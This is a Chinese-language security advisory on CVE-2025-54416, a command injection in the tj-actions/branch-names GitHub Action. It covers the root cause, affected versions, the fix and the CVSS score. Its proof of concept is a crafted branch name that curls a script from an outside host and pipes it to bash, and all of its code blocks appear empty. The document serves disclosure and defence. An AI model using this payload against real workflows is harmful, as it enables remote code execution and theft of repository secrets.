CVE-2025-54416:tj-actions/branch-names命令注入漏洞分析
漏洞概述
在tj-actions/branch-names GitHub Action工作流中发现了一个严重漏洞,该漏洞允许在下游工作流中执行任意命令。此问题源于输入清理不一致和未转义的输出,使攻击者能够利用特制的分支名称或标签进行攻击。
技术细节
漏洞根源
该漏洞源于在action代码库中不安全地使用eval printf "%s"模式。虽然使用printf "%q"进行了初步清理以正确转义不受信任的输入,但随后通过eval printf "%s"进行的取消转义操作重新引入了命令注入风险。
不安全代码示例
|
|
攻击原理
概念验证(PoC)
- 创建一个具有以下名称的分支:
$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash) - 通过向目标仓库打开拉取请求来触发易受攻击的工作流
- 在工作流日志中观察任意代码执行
示例输出
|
|
影响范围
受影响版本
- <= 8.2.1
已修复版本
- 9.0.0
潜在后果
此漏洞允许在使用tj-actions/branch-names输出的仓库中执行任意命令。影响严重程度取决于授予GITHUB_TOKEN的权限和触发事件的上下文。潜在后果包括:
- 窃取存储在仓库中的敏感密钥
- 对仓库的未授权写入访问
- 损害仓库的完整性和安全性
修复方案
推荐修复方法
为了修复此漏洞,必须用更安全的替代方案替换不安全的eval printf "%s"模式。具体来说,直接使用printf调用可以实现相同的功能,而不会取消转义shell不安全的字符。
修复代码示例
|
|
安全建议
立即行动
使用tj-actions/branch-names工作流的开发人员应立即将其工作流更新到最新主要版本v9。
相关参考
- GitHub Actions安全指南
- 如何保护GitHub Actions工作流
- 相关漏洞:GHSA-mcph-m25j-8j63
- 模板注入公告:GHSA-8v8w-v8xg-79rf
技术指标
CVSS评分
- 总体评分:9.1/10(严重)
CVSS v3基础指标
- 攻击向量:网络
- 攻击复杂度:低
- 所需权限:低
- 用户交互:无
- 范围:已更改
- 机密性:高
- 完整性:低
- 可用性:低
弱点分类
- CWE-77:命令中使用的特殊元素的不恰当中和(命令注入)